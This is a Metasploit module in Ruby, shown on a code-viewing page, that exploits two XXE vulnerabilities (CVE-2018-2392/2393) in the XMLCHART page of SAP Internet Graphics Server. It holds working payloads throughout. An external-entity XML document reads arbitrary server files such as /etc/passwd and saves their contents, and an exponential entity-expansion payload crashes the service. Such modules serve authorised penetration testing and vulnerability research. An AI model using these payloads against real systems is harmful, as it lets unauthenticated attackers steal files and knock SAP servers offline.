Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7

8
  include Msf::Exploit::Remote::HttpClient
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'SAP Internet Graphics Server (IGS) XMLCHART XXE',
15
        'Description' => %q{
16
          This module exploits CVE-2018-2392 and CVE-2018-2393, two XXE vulnerabilities within the XMLCHART page
17
          of SAP Internet Graphics Servers (IGS) running versions 7.20, 7.20EXT, 7.45, 7.49, or 7.53. These
18
          vulnerabilities occur due to a lack of appropriate validation on the Extension HTML tag when
19
          submitting a POST request to the XMLCHART page to generate a new chart.
20

21
          Successful exploitation will allow unauthenticated remote attackers to read files from the server as the user
22
          from which the IGS service is started, which will typically be the SAP admin user. Alternatively attackers
23
          can also abuse the XXE vulnerability to conduct a denial of service attack against the vulnerable
24
          SAP IGS server.
25
        },
26
        'Author' => [
27
          'Yvan Genuer', # @_1ggy The researcher who originally found this vulnerability
28
          'Vladimir Ivanov' # @_generic_human_ This Metasploit module
29
        ],
30
        'License' => MSF_LICENSE,
31
        'References' => [
32
          [ 'CVE', '2018-2392' ],
33
          [ 'CVE', '2018-2393' ],
34
          [ 'URL', 'https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_IGS-The-vulnerable-forgotten-component.pdf' ]
35
        ],
36
        'Actions' => [
37
          [ 'READ', { 'Description' => 'Remote file read' } ],
38
          [ 'DOS', { 'Description' => 'Denial Of Service' } ]
39
        ],
40
        'DefaultAction' => 'READ',
41
        'DefaultOptions' => {
42
          'SSL' => false # Disable SSL (by default SAP IGS does not use SSL/TLS)
43
        },
44
        'DisclosureDate' => '2018-03-14',
45
        'Notes' => {
46
          'Stability' => [CRASH_SAFE],
47
          'SideEffects' => [IOC_IN_LOGS],
48
          'Reliability' => []
49
        }
50
      )
51
    )
52
    register_options(
53
      [
54
        Opt::RPORT(40080),
55
        OptString.new('FILE', [ false, 'File to read from the remote server', '/etc/passwd']),
56
        OptString.new('URIPATH', [ true, 'Path to the SAP IGS XMLCHART page from the web root', '/XMLCHART']),
57
      ]
58
    )
59
  end
60

61
  def setup_xml_and_variables
62
    @host = datastore['RHOSTS']
63
    @port = datastore['RPORT']
64
    @path = datastore['URIPATH']
65
    @file = datastore['FILE']
66
    if datastore['SSL']
67
      @schema = 'https://'
68
    else
69
      @schema = 'http://'
70
    end
71
    @data_xml = {
72
      name: Rex::Text.rand_text_alphanumeric(12),
73
      filename: "#{Rex::Text.rand_text_alphanumeric(12)}.xml",
74
      data: nil
75
    }
76
    @data_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>
77
    <ChartData>
78
      <Categories>
79
        <Category>ALttP</Category>
80
      </Categories>
81
      <Series label="#{Rex::Text.rand_text_alphanumeric(6)}">
82
        <Point>
83
          <Value type="y">#{Rex::Text.rand_text_numeric(4)}</Value>
84
        </Point>
85
      </Series>
86
    </ChartData>)
87
    @xxe_xml = {
88
      name: Rex::Text.rand_text_alphanumeric(12),
89
      filename: "#{Rex::Text.rand_text_alphanumeric(12)}.xml",
90
      data: nil
91
    }
92
  end
93

94
  def make_xxe_xml(file_name)
95
    entity = Rex::Text.rand_text_alpha(5)
96
    @xxe_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>
97
    <!DOCTYPE Extension [<!ENTITY #{entity} SYSTEM "#{file_name}">]>
98
    <SAPChartCustomizing version="1.1">
99
      <Elements>
100
        <ChartElements>
101
          <Title>
102
            <Extension>&#{entity};</Extension>
103
          </Title>
104
        </ChartElements>
105
      </Elements>
106
    </SAPChartCustomizing>)
107
  end
108

109
  def make_post_data(file_name, dos: false)
110
    if !dos
111
      make_xxe_xml(file_name)
112
    else
113
      @xxe_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>
114
    <!DOCTYPE Extension [
115
      <!ENTITY dos 'dos'>
116
      <!ENTITY dos1 '&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;'>
117
      <!ENTITY dos2 '&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;'>
118
      <!ENTITY dos3 '&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;'>
119
      <!ENTITY dos4 '&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;'>
120
      <!ENTITY dos5 '&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;'>
121
      <!ENTITY dos6 '&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;'>
122
      <!ENTITY dos7 '&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;'>
123
      <!ENTITY dos8 '&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;'>
124
    ]>
125
    <SAPChartCustomizing version="1.1">
126
      <Elements>
127
        <ChartElements>
128
          <Title>
129
            <Extension>&dos8;</Extension>
130
          </Title>
131
        </ChartElements>
132
      </Elements>
133
    </SAPChartCustomizing>)
134
    end
135

136
    @post_data = Rex::MIME::Message.new
137
    @post_data.add_part(@data_xml[:data], 'application/xml', nil, "form-data; name=\"#{@data_xml[:name]}\"; filename=\"#{@data_xml[:filename]}\"")
138
    @post_data.add_part(@xxe_xml[:data], 'application/xml', nil, "form-data; name=\"#{@xxe_xml[:name]}\"; filename=\"#{@xxe_xml[:filename]}\"")
139
  end
140

141
  def get_download_link(html_response)
142
    if html_response['ImageMap']
143
      if (download_link_regex = html_response.match(/ImageMap" href="(?<link>.*)">ImageMap/))
144
        @download_link = download_link_regex[:link]
145
      else
146
        @download_link = nil
147
      end
148
    else
149
      @download_link = nil
150
    end
151
  end
152

153
  def get_file_content(html_response)
154
    if (file_content_regex = html_response.match(/^<area shape=rect coords="0, 0,0, 0" (?<file_content>[^\b]+?)>\r\n$/))
155
      @file_content = file_content_regex[:file_content]
156
    else
157
      @file_content = nil
158
    end
159
  end
160

161
  def send_first_request
162
    # Send first HTTP request
163
    begin
164
      first_response = nil
165
      first_response = send_request_cgi(
166
        {
167
          'uri' => normalize_uri(@path),
168
          'method' => 'POST',
169
          'ctype' => "multipart/form-data; boundary=#{@post_data.bound}",
170
          'data' => @post_data.to_s
171
        }
172
      )
173
    rescue StandardError => e
174
      print_error("Failed to retrieve SAP IGS page at #{@schema}#{@host}:#{@port}#{@path}")
175
      vprint_error("Error #{e.class}: #{e}")
176
      return -1
177
    end
178

179
    # Check first HTTP response
180
    if first_response.nil? || first_response.code != 200 || !(first_response.body.include?('Picture') && first_response.body.include?('Info')) || !first_response.body.match?(/ImageMap|Errors/)
181
      return -2
182
    end
183

184
    if first_response.body.include?('Errors')
185
      return -3
186
    end
187

188
    first_response
189
  end
190

191
  def analyze_first_response(html_response)
192
    get_download_link(html_response)
193
    if !@download_link.to_s.empty?
194

195
      # Send second HTTP request
196
      begin
197
        second_response = nil
198
        second_response = send_request_cgi(
199
          {
200
            'uri' => normalize_uri(@download_link),
201
            'method' => 'GET'
202
          }
203
        )
204
      rescue StandardError => e
205
        print_error("Failed to retrieve SAP IGS page: #{@schema}#{@host}:#{@port}#{@download_link}")
206
        vprint_error("Error #{e.class}: #{e}")
207
        return -1 # Some exception was thrown whilst making the second HTTP request!
208
      end
209

210
      # Check second HTTP response
211
      if second_response.nil? || second_response.code != 200 || !second_response.body.include?('area shape=rect')
212
        return -2 # Response from second HTTP request was not what was expected!
213
      end
214

215
      get_file_content(second_response.body)
216
      return 0
217
    else
218
      return -3 # Download link could not be found!
219
    end
220
  end
221

222
  def check
223
    # Set up variables
224
    os_release = ''
225
    os_release_file = '/etc/os-release'
226

227
    # Set up XML data for HTTP request
228
    setup_xml_and_variables
229
    make_post_data(os_release_file, dos: false) # Create a XML data payload to retrieve the value of /etc/os-release
230
    # so that the module can check if the target is vulnerable or not.
231

232
    # Get OS release information
233
    check_response = send_first_request
234
    if check_response == -1
235
      Exploit::CheckCode::Safe('The server encountered an exception when trying to respond to the first request and did not respond in the expected manner.')
236
    elsif check_response == -2
237
      Exploit::CheckCode::Safe('The server sent a response but it was not in the expected format. The target is likely patched.')
238
    else
239
      if check_response == -3
240
        vprint_status("The SAP IGS server is vulnerable, but file: #{os_release_file} not found or not enough rights.")
241
      else
242
        result = analyze_first_response(check_response.body)
243

244
        # Handle all the odd cases where analyze_first_response may not return a success code, aka a return value of 0.
245
        if result == -1 || result == -3
246
          Exploit::CheckCode::Safe('The server did not respond to the second request in the expected manner and is therefore safe')
247
        elsif result == -2
248
          Exploit::CheckCode::Unknown('Some connection error occurred and it was not possible to determine if the server is vulnerable or not')
249
        end
250

251
        if !@file_content.to_s.empty?
252
          if (os_regex = @file_content.match(/^PRETTY_NAME.*=.*"(?<os>.*)"$/))
253
            os_release = "OS: #{os_regex[:os]}"
254
          end
255
        else
256
          return Exploit::CheckCode::Safe("#{@host} did not return the contents of the requested file, aka #{os_release_file}. This host is likely patched.")
257
        end
258
      end
259
      # Make ident
260
      if os_release != ''
261
        ident = "SAP Internet Graphics Server (IGS); #{os_release}"
262
      else
263
        ident = 'SAP Internet Graphics Server (IGS)'
264
      end
265
      # Report Service and Vulnerability
266
      report_service(
267
        host: @host,
268
        port: @port,
269
        name: 'http',
270
        proto: 'tcp',
271
        info: ident
272
      )
273
      report_vuln(
274
        host: @host,
275
        port: @port,
276
        name: name,
277
        refs: references,
278
        info: os_release
279
      )
280
      # Print Vulnerability
281
      if os_release == ''
282
        Exploit::CheckCode::Vulnerable("#{@host} returned a response indicating that its XMLCHART page is vulnerable to XXE!")
283
      else
284
        Exploit::CheckCode::Vulnerable("#{@host} running #{os_release} returned a response indicating that its XMLCHART page is vulnerable to XXE!")
285
      end
286
    end
287
  end
288

289
  def run
290
    case action.name
291
    when 'READ'
292
      action_file_read
293
    when 'DOS'
294
      action_dos
295
    else
296
      print_error("The action #{action.name} is not a supported action.")
297
    end
298
  end
299

300
  def action_file_read
301
    # Set up XML data for HTTP request
302
    setup_xml_and_variables
303
    make_post_data(@file, dos: false)
304

305
    # Download remote file
306
    first_response = send_first_request
307
    if first_response == -1
308
      fail_with(Failure::UnexpectedReply, 'The server encountered an exception when trying to respond to the first request and did not respond in the expected manner.')
309
    elsif first_response == -2
310
      fail_with(Failure::UnexpectedReply, 'The server sent a response but it was not in the expected format. The target is likely patched.')
311
    else
312
      # Report Service and Vulnerability
313
      report_service(
314
        host: @host,
315
        port: @port,
316
        name: 'http',
317
        proto: 'tcp',
318
        info: 'SAP Internet Graphics Server (IGS)'
319
      )
320
      report_vuln(
321
        host: @host,
322
        port: @port,
323
        name: name,
324
        refs: references
325
      )
326
      # Get remote file content
327
      if first_response == -3
328
        print_status("The SAP IGS server is vulnerable, but file: #{@file} not found or not enough rights.")
329
      else
330
        result = analyze_first_response(first_response.body)
331
        # Handle all the odd cases where analyze_first_response may not return a success code, aka a return value of 0.
332
        if result == -1
333
          fail_with(Failure::UnexpectedReply, 'The server encountered an exception when trying to respond to the second request and did not respond in the expected manner.')
334
        elsif result == -2
335
          print_error('The server responded successfully but the response indicated the server is not vulnerable!')
336
          return
337
        elsif result == -3
338
          print_error('The server responded successfully but no download link was found in the response, so it is not vulnerable!')
339
          return
340
        end
341

342
        if !@file_content.to_s.empty?
343
          vprint_good("File: #{@file} content from host: #{@host}\n#{@file_content}")
344
          loot = store_loot('igs.xmlchart.xxe', 'text/plain', @host, @file_content, @file, 'SAP IGS XMLCHART XXE')
345
          print_good("File: #{@file} saved in: #{loot}")
346
        else
347
          print_error("Failed to get #{@file} content!")
348
        end
349

350
      end
351
    end
352
  end
353

354
  def action_dos
355
    # Set up XML data for HTTP request
356
    setup_xml_and_variables
357
    make_post_data(@file, dos: true)
358

359
    # Send HTTP request
360
    begin
361
      dos_response = nil
362
      dos_response = send_request_cgi(
363
        {
364
          'uri' => normalize_uri(@path),
365
          'method' => 'POST',
366
          'ctype' => "multipart/form-data; boundary=#{@post_data.bound}",
367
          'data' => @post_data.to_s
368
        }, 10
369
      )
370
    rescue Timeout::Error
371
      print_good("Successfully managed to DOS the SAP IGS server at #{@host}:#{@port}")
372

373
      # Report Service and Vulnerability
374
      report_service(
375
        host: @host,
376
        port: @port,
377
        name: 'http',
378
        proto: 'tcp',
379
        info: 'SAP Internet Graphics Server (IGS)'
380
      )
381
      report_vuln(
382
        host: @host,
383
        port: @port,
384
        name: name,
385
        refs: references
386
      )
387
    rescue StandardError => e
388
      print_error("Failed to retrieve SAP IGS page at #{@schema}#{@host}:#{@port}#{@path}")
389
      vprint_error("Error #{e.class}: #{e}")
390
    end
391

392
    # Check HTTP response
393
    fail_with(Failure::NotVulnerable, 'The target responded with a 200 OK response code. The DoS attempt was unsuccessful.') unless dos_response.code != 200
394
  end
395

396
end
397

398